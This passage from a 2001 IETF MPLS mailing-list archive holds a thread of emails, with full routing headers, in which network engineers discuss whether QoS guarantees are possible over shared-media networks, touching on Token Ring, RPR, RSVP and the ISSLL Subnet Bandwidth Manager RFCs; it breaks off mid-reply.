	Fri, 4 May 2001 17:18:25 GMT
Received: by mail-control.mail.uu.net 
	id QQknov02408
	for mpls-outgoing; Fri, 4 May 2001 17:17:54 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknov02372
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 17:17:34 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknov05233
	for <mpls@UU.NET>; Fri, 4 May 2001 17:17:31 GMT
Received: from mailgate.pit.comms.marconi.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQknov21556
	for <mpls@UU.NET>; Fri, 4 May 2001 17:17:31 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA00296
	for <mpls@UU.NET>; Fri, 4 May 2001 13:17:27 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA05715
	for <mpls@UU.NET>; Fri, 4 May 2001 13:17:30 -0400 (EDT)
Message-ID: <3AF2E429.22A87868@marconi.com>
Date: Fri, 04 May 2001 13:17:29 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: "'mpls@uu.net'" <mpls@UU.NET>
Subject: Re: QoS in Shared Media
References: <39469E08BD83D411A3D900204840EC553095AD@vie-msgusr-01.dc.fore.com>
Content-Type: text/plain; charset=iso-8859-1
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id NAA17389

"Naidu, Venkata" wrote:
> 
>   But anyway, I am hearing about 40/10(OC768) Gig Ethernet
>   evolution. If not at the core, these technologies may be
>   at the enterprise/access networks(?).

GigE and 10GigE are not shared-media networks.  Despite the fact that
they're based on Ethernet, every implementation I've ever seen uses them
as point-to-point links between switches/routers/hosts.

>   Moreover, The QoS issue is especially interesting over
>   wireless access networks as they are likely to be bottlenecks
>   (compared to wireline links) and they are often shared
>   media (e.g., wire­ less LANs). Providing service
>   differentiation on shared media  is  difficult  due  to
>   the risk of collisions between packets of different priority.

QoS guarantees are impossible over shared media.  There is always the
possibility that somebody on the bus (perhaps a box running malicious
code) will saturate the shared bus with garbage, forcing everybody else
to wait or have collisions.

If you can assume that everybody plays by the rules, then boxes on a
shared bus can coordinate their access to provide some level of
guaranteed service.  Token Ring is one such example of this.  TDM- based
technologies (such as channelized SONET) are another.

>   * So, first, Is MPLS useful/applicable to these technologies?

MPLS is useful even without QoS.  It allows for the design of faster
routers, or alternatively the use of less expensive forwarding chips at
slower speeds.

The explicit-route aspects of traffic engineering work over shared-media
networks as well, even though QoS still can't be guaranteed, which may
also be of use.

>   * If so, how the present singling protocols (RSVP/CR-LDP) or
>     diffserv TE extended protocols will take care of this?
>     As far as I know, classical RSVP is designed for such goals
>     and ofcourse, present IP routing protocols also runs
>     on such shared media, P2P and NBMA environments.

Classical RSVP's ability to work over non-RSVP links is only a detection
algorithm - it will detect non-RSVP links and indicate this to the
egress node.  The egress node then has to deal with the knowledge that
any requested QoS may not actually be acheivable, due to the presence of
those links along the path.

>   * In a simple environment Ethernet -> ATM/NBMA -> Ethernet
>     How resource reservation takes place and is there something
>     more the present signaling/routing protocols need to do
>     for QoS guaranties.

If the Ethernet is point-to-point, there is no problem.  If it is a
shared bus, then the operator should realize that QoS can't be
guaranteed.  Labels can still be allocated and used.  Resources can
still be reserved on the routers.  But the line itself may cause delays,
queue backups and lost data.

This shouldn't be a problem, however.  If an network admin chooses to
set up a shared-media network, then he should be aware of these
factors.  If these factors are unacceptible, then he should restrict the
links to point-to-point links.

-- David


From owner-mpls@UU.NET  Fri May  4 13:56:38 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA18058
	for <mpls-archive@lists.ietf.org>; Fri, 4 May 2001 13:56:37 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknox03446;
	Fri, 4 May 2001 17:54:52 GMT
Received: by mail-control.mail.uu.net 
	id QQknox07367
	for mpls-outgoing; Fri, 4 May 2001 17:54:18 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknox07346
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 17:54:00 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknox22718
	for <mpls@uu.net>; Fri, 4 May 2001 17:53:25 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQknox01640
	for <mpls@uu.net>; Fri, 4 May 2001 17:53:24 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id NAA21620 for mpls@uu.net; Fri, 4 May 2001 13:53:24 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknox07207
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 17:52:45 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknox19060
	for <mpls@UU.NET>; Fri, 4 May 2001 17:52:12 GMT
Received: from sj-msg-core-2.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88])
	id QQknox00201
	for <mpls@UU.NET>; Fri, 4 May 2001 17:52:12 GMT
Received: from FRED-W2K.cisco.com (fred-hm-dhcp3.cisco.com [171.69.128.118])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f44HqSa11962;
	Fri, 4 May 2001 10:52:28 -0700 (PDT)
Message-Id: <5.0.2.1.2.20010504104439.02e2ea40@mira-sjcm-2.cisco.com>
X-Sender: fred@mira-sjcm-2.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Fri, 04 May 2001 10:47:58 -0700
To: "Naidu, Venkata" <Venkata.Naidu@Marconi.com>
From: Fred Baker <fred@cisco.com>
Subject: Re: QoS in Shared Media
Cc: "'mpls@uu.net'" <mpls@UU.NET>, "'te-wg@ops.ietf.org'" <te-wg@ops.ietf.org>
In-Reply-To: <39469E08BD83D411A3D900204840EC553095AD@vie-msgusr-01.dc.fo
 re.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk

At 10:58 AM 5/4/2001 -0400, Naidu, Venkata wrote:
>I have a doubt regarding "QoS in Shared Media".

many have doubts in this area.

Fundamentally, if I can talk with a switch, I am in control of my end of 
the line and it is in control of its end, and we can make promises about 
what we will each do in our direction. On shared media, anything resembling 
QoS assertions or guarantees requires making promises on behalf of other 
systems one does not control. The nearest solutions I see to that have been 
in 802.5 and FDDI LANs, and I wouldn't describe those as having been 
"wildly successful."



From owner-mpls@UU.NET  Fri May  4 14:09:48 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA18301
	for <mpls-archive@lists.ietf.org>; Fri, 4 May 2001 14:09:47 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknoy19097;
	Fri, 4 May 2001 18:07:37 GMT
Received: by mail-control.mail.uu.net 
	id QQknoy22787
	for mpls-outgoing; Fri, 4 May 2001 18:07:02 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknoy22249
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 18:06:47 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknoy02011
	for <mpls@uu.net>; Fri, 4 May 2001 18:06:26 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQknoy19569
	for <mpls@uu.net>; Fri, 4 May 2001 18:06:26 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id OAA23116 for mpls@uu.net; Fri, 4 May 2001 14:06:25 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknoy19819
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 18:05:46 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknoy10333
	for <mpls@UU.NET>; Fri, 4 May 2001 18:04:25 GMT
Received: from ns02.newbridge.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: ns02.newbridge.com [192.75.23.75])
	id QQknoy16378
	for <mpls@UU.NET>; Fri, 4 May 2001 18:04:24 GMT
Received: (qmail 15740 invoked from network); 4 May 2001 18:02:29 -0000
Received: from portal1.newbridge.com (HELO kanata-mh1.ca.newbridge.com) (192.75.23.76)
  by ns02.newbridge.com with SMTP; 4 May 2001 18:02:29 -0000
Received: from kanmail02.ca.newbridge.com by kanata-mh1.ca.newbridge.com with ESMTP for mpls@UU.NET; Fri, 4 May 2001 14:02:52 -0400
Received: from alcatel.com ([138.120.51.119]) by kanmail02.ca.newbridge.com
          (Netscape Messaging Server 3.6)  with ESMTP id AAA30F0;
          Fri, 4 May 2001 14:02:50 -0400
Message-Id: <3AF2EEAB.7C913846@alcatel.com>
Date: Fri, 04 May 2001 14:02:19 -0400
From: "HANSEN CHAN" <hansen.chan@alcatel.com>
X-Mailer: Mozilla 4.61 [en] (Win95; U)
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: Fred Baker <fred@cisco.com>
CC: "Naidu, Venkata" <Venkata.Naidu@Marconi.com>,
        "'mpls@uu.net'" <mpls@UU.NET>,
        "'te-wg@ops.ietf.org'" <te-wg@ops.ietf.org>
Subject: Re: QoS in Shared Media
References: <5.0.2.1.2.20010504104439.02e2ea40@mira-sjcm-2.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

How about the work in IEEE 802.17 RPR? I believe it will be a shared-media
technology. Does that mean they will have a hard time to achieve QoS
guarantees?

Cheers,
Hansen

> At 10:58 AM 5/4/2001 -0400, Naidu, Venkata wrote:
> >I have a doubt regarding "QoS in Shared Media".
>
> many have doubts in this area.
>
> Fundamentally, if I can talk with a switch, I am in control of my end of
> the line and it is in control of its end, and we can make promises about
> what we will each do in our direction. On shared media, anything resembling
> QoS assertions or guarantees requires making promises on behalf of other
> systems one does not control. The nearest solutions I see to that have been
> in 802.5 and FDDI LANs, and I wouldn't describe those as having been
> "wildly successful."



From owner-mpls@UU.NET  Fri May  4 14:20:28 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA18497
	for <mpls-archive@lists.ietf.org>; Fri, 4 May 2001 14:20:28 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknoz09178;
	Fri, 4 May 2001 18:18:40 GMT
Received: by mail-control.mail.uu.net 
	id QQknoz29221
	for mpls-outgoing; Fri, 4 May 2001 18:18:08 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknoz29214
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 18:18:02 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknoz06264
	for <mpls@UU.NET>; Fri, 4 May 2001 18:17:41 GMT
Received: from lysimachus.hosting.pacbell.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: lysimachus.hosting.pacbell.net [216.100.98.17])
	id QQknoz26386
	for <mpls@UU.NET>; Fri, 4 May 2001 18:17:40 GMT
Received: from jaypc (adsl-64-168-85-242.dsl.snfc21.pacbell.net [64.168.85.242])
	by lysimachus.hosting.pacbell.net
	id OAA19547; Fri, 4 May 2001 14:17:17 -0400 (EDT)
	[ConcentricHost SMTP Relay 1.7]
From: "Jay Wang" <jwang@opixnetworks.com>
To: "David Charlap" <david.charlap@marconi.com>, "'mpls@uu.net'" <mpls@UU.NET>
Cc: "Naidu, Venkata" <Venkata.Naidu@marconi.com>
Subject: RE: QoS in Shared Media
Date: Fri, 4 May 2001 11:15:49 -0700
Message-ID: <NEBBKNOANMBIAAGAOBILKEMOCBAA.jwang@opixnetworks.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <3AF2E429.22A87868@marconi.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

>QoS guarantees are impossible over shared media.  There is always the
>possibility that somebody on the bus (perhaps a box running malicious
>code) will saturate the shared bus with garbage, forcing everybody else
>to wait or have collisions.
>
>If you can assume that everybody plays by the rules, then boxes on a
>shared bus can coordinate their access to provide some level of
>guaranteed service.  Token Ring is one such example of this.  TDM- based
>technologies (such as channelized SONET) are another.

In fact if the transmission infrastructure of the shared media has the
intelligence or capability built in to coordinate the admission of traffic
into the shared media, it makes the life of QoS at higher level easier. The
RPR(IEEE 802.17) is apparently marching toward this direction.  At least,
Cisco's DPT/SRP-fa (cisco's version of RPR) ensures global bandwidth
fairness
for all nodes on the same ring from what I know.


- jay



From owner-mpls@UU.NET  Fri May  4 14:29:13 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA18615
	for <mpls-archive@lists.ietf.org>; Fri, 4 May 2001 14:29:13 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknoz24087;
	Fri, 4 May 2001 18:27:26 GMT
Received: by mail-control.mail.uu.net 
	id QQknoz29987
	for mpls-outgoing; Fri, 4 May 2001 18:26:51 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQknoz29973
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 18:26:43 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknoz26285
	for <mpls@uu.net>; Fri, 4 May 2001 18:26:36 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQknoz12845
	for <mpls@uu.net>; Fri, 4 May 2001 18:26:35 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id OAA25562 for mpls@uu.net; Fri, 4 May 2001 14:26:35 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQknoz29890
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 18:25:53 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknoz20821
	for <mpls@UU.NET>; Fri, 4 May 2001 18:22:59 GMT
Received: from ns02.newbridge.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: ns02.newbridge.com [192.75.23.75])
	id QQknoz16560
	for <mpls@UU.NET>; Fri, 4 May 2001 18:22:58 GMT
Received: (qmail 16704 invoked from network); 4 May 2001 18:21:10 -0000
Received: from portal1.newbridge.com (HELO kanata-mh1.ca.newbridge.com) (192.75.23.76)
  by ns02.newbridge.com with SMTP; 4 May 2001 18:21:10 -0000
Received: from kanmail02.ca.newbridge.com by kanata-mh1.ca.newbridge.com with ESMTP for mpls@UU.NET; Fri, 4 May 2001 14:21:33 -0400
Received: from alcatel.com ([138.120.51.119]) by kanmail02.ca.newbridge.com
          (Netscape Messaging Server 3.6)  with ESMTP id AAA4230;
          Fri, 4 May 2001 14:21:32 -0400
Message-Id: <3AF2F30D.30F9838A@alcatel.com>
Date: Fri, 04 May 2001 14:21:01 -0400
From: "HANSEN CHAN" <hansen.chan@alcatel.com>
X-Mailer: Mozilla 4.61 [en] (Win95; U)
X-Accept-Language: en,pdf
MIME-Version: 1.0
To: Jay Wang <jwang@opixnetworks.com>
CC: David Charlap <david.charlap@marconi.com>, "'mpls@uu.net'" <mpls@UU.NET>,
        "Naidu, Venkata" <Venkata.Naidu@marconi.com>
Subject: Re: QoS in Shared Media
References: <NEBBKNOANMBIAAGAOBILKEMOCBAA.jwang@opixnetworks.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

> In fact if the transmission infrastructure of the shared media has the
> intelligence or capability built in to coordinate the admission of traffic
> into the shared media, it makes the life of QoS at higher level easier. The
> RPR(IEEE 802.17) is apparently marching toward this direction.  At least,
> Cisco's DPT/SRP-fa (cisco's version of RPR) ensures global bandwidth
> fairness
> for all nodes on the same ring from what I know.

I really would like to understand how RPR or DPT can ensure global bandwidth
fairness. Any link or pointer?

Thanks,
Hansen




From owner-mpls@UU.NET  Fri May  4 14:31:55 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA18664
	for <mpls-archive@lists.ietf.org>; Fri, 4 May 2001 14:31:54 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknpa29445;
	Fri, 4 May 2001 18:30:11 GMT
Received: by mail-control.mail.uu.net 
	id QQknoz00347
	for mpls-outgoing; Fri, 4 May 2001 18:29:38 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknoz00300
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 18:29:18 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknoz04546
	for <mpls@UU.NET>; Fri, 4 May 2001 18:29:14 GMT
Received: from philotas.hosting.pacbell.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: philotas.hosting.pacbell.net [216.100.99.24])
	id QQknoz08083
	for <mpls@UU.NET>; Fri, 4 May 2001 18:29:13 GMT
Received: from jaypc (adsl-64-168-85-242.dsl.snfc21.pacbell.net [64.168.85.242])
	by philotas.hosting.pacbell.net
	id OAA17698; Fri, 4 May 2001 14:28:02 -0400 (EDT)
	[ConcentricHost SMTP Relay 1.7]
From: "Jay Wang" <jwang@opixnetworks.com>
To: "HANSEN CHAN" <hansen.chan@alcatel.com>,
        "Jay Wang" <jwang@opixnetworks.com>
Cc: "David Charlap" <david.charlap@marconi.com>, "'mpls@uu.net'" <mpls@UU.NET>,
        "Naidu, Venkata" <Venkata.Naidu@marconi.com>
Subject: RE: QoS in Shared Media
Date: Fri, 4 May 2001 11:26:34 -0700
Message-ID: <NEBBKNOANMBIAAGAOBILCEMPCBAA.jwang@opixnetworks.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
In-Reply-To: <3AF2F30D.30F9838A@alcatel.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6600
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hansen,

This may be a good place to get an introduction on the topic:

http://www.cisco.com/warp/public/cc/techno/wnty/dpty/tech/dptm_wp.htm

- jay





From owner-mpls@UU.NET  Fri May  4 14:38:28 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA18816
	for <mpls-archive@lists.ietf.org>; Fri, 4 May 2001 14:38:28 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknpa15726;
	Fri, 4 May 2001 18:36:37 GMT
Received: by mail-control.mail.uu.net 
	id QQknpa01290
	for mpls-outgoing; Fri, 4 May 2001 18:36:05 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQknpa01265
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 18:36:00 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQknpa14742
	for <mpls@UU.NET>; Fri, 4 May 2001 18:33:39 GMT
Received: from mailgate.pit.comms.marconi.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQknpa05867
	for <mpls@UU.NET>; Fri, 4 May 2001 18:33:39 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id OAA07919;
	Fri, 4 May 2001 14:33:03 -0400 (EDT)
Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id OAA01914;
	Fri, 4 May 2001 14:33:06 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21)
	id <JJTLHLVB>; Fri, 4 May 2001 14:32:54 -0400
Message-ID: <39469E08BD83D411A3D900204840EC553095AE@vie-msgusr-01.dc.fore.com>
From: "Naidu, Venkata" <Venkata.Naidu@Marconi.com>
To: "'Fred Baker'" <fred@cisco.com>,
        "Charlap, David"
	 <David.Charlap@Marconi.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>,
        "'te-wg@ops.ietf.org'"
	 <te-wg@ops.ietf.org>
Subject: RE: QoS in Shared Media
Date: Fri, 4 May 2001 14:33:04 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi

  Thanks for all those who replied and gave good pointers.

  Fred/David, Some one pointed me to ISSLL WG with this regard
  (I thought this WG is also off along with INTSERV & RSVP)

  Esp about RFCs 2814/2815/2816 - SBM (Subnet Bandwidth Manager)
  Integrated Services Over Shared and Switched IEEE 802 LAN 
  Technologies. I didn't go through these drafts completely 
  but, aren't they doing in the direction we are looking for...

  my question is, why not RSVP for MPLS not considering these 
  work. Recently David was asking "why RSVP doesn't have strict
  delay and delay variation control parameters like ATM?"
  I found some of the RFCs in ISSLL (2379, 2380, 2381 & 2382)
  have answer for that - Inserv has the answer for QoS in any media!
  Are these something different when compared to RSVP for LSPs?

  I am searching for what I missed?! :-)

-Venkata Naidu  


-> -----Original Message-----
-> From: Fred Baker [mailto:fred@cisco.com]
-> Sent: Friday, May 04, 2001 1:48 PM
-> To: Naidu, Venkata
-> Cc: 'mpls@uu.net'; 'te-wg@ops.ietf.org'
-> Subject: Re: QoS in Shared Media
-> 
-> 
-> At 10:58 AM 5/4/2001 -0400, Naidu, Venkata wrote:
-> >I have a doubt regarding "QoS in Shared Media".
-> 
-> many have doubts in this area.
-> 
-> Fundamentally, if I can talk with a switch, I am in control 
-> of my end of 
-> the line and it is in control of its end, and we can make 
-> promises about 
-> what we will each do in our direction. On shared media, 
-> anything resembling 
-> QoS assertions or guarantees requires making promises on 
-> behalf of other 
-> systems one does not control. The nearest solutions I see to 
-> that have been 
-> in 802.5 and FDDI LANs, and I wouldn't describe those as having been 
-> "wildly successful."
-> 


From owner-mpls@UU.NET  Fri May  4 14:57:41 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA19173
	for <mpls-archive@lists.ietf.org>; Fri, 4 May 2001 14:57:41 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQknpb19440;
	Fri, 4 May 2001 18:55:41 GMT
Received: by mail-control.mail.uu.net 
	id QQknpb04207
	for mpls-outgoing; Fri, 4 May 2001 18:55:05 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknpb04181
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 18:54:49 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQknpb24927
	for <mpls@uu.net>; Fri, 4 May 2001 18:54:31 GMT
Received: from mill.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQknpb17778
	for <mpls@uu.net>; Fri, 4 May 2001 18:54:30 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id OAA29136 for mpls@uu.net; Fri, 4 May 2001 14:54:30 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQknpb04118
	for <mpls@mail-control.mail.uu.net>; Fri, 4 May 2001 18:54:00 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQknpb16445
	for <mpls@UU.NET>; Fri, 4 May 2001 18:51:37 GMT
Received: from sj-msg-core-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88])
	id QQknpb01385
	for <mpls@UU.NET>; Fri, 4 May 2001 18:51:37 GMT
Received: from FRED-W2K.cisco.com (fred-hm-dhcp3.cisco.com [171.69.128.118])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f44Ipva19682;
	Fri, 4 May 2001 11:51:57 -0700 (PDT)
Message-Id: <5.0.2.1.2.20010504114231.02f8c310@mira-sjcm-2.cisco.com>
X-Sender: fred@mira-sjcm-2.cisco.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Fri, 04 May 2001 11:51:18 -0700
To: "Naidu, Venkata" <Venkata.Naidu@Marconi.com>
From: Fred Baker <fred@cisco.com>
Subject: RE: QoS in Shared Media
Cc: "Charlap, David" <David.Charlap@Marconi.com>,
        "'mpls@uu.net'" <mpls@UU.NET>,
        "'te-wg@ops.ietf.org'" <te-wg@ops.ietf.org>
In-Reply-To: <39469E08BD83D411A3D900204840EC553095AE@vie-msgusr-01.dc.fo
 re.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk

At 02:33 PM 5/4/2001 -0400, Naidu, Venkata wrote:
>   my question is, why not RSVP for MPLS not considering these
>   work. Recently David was asking "why RSVP doesn't have strict
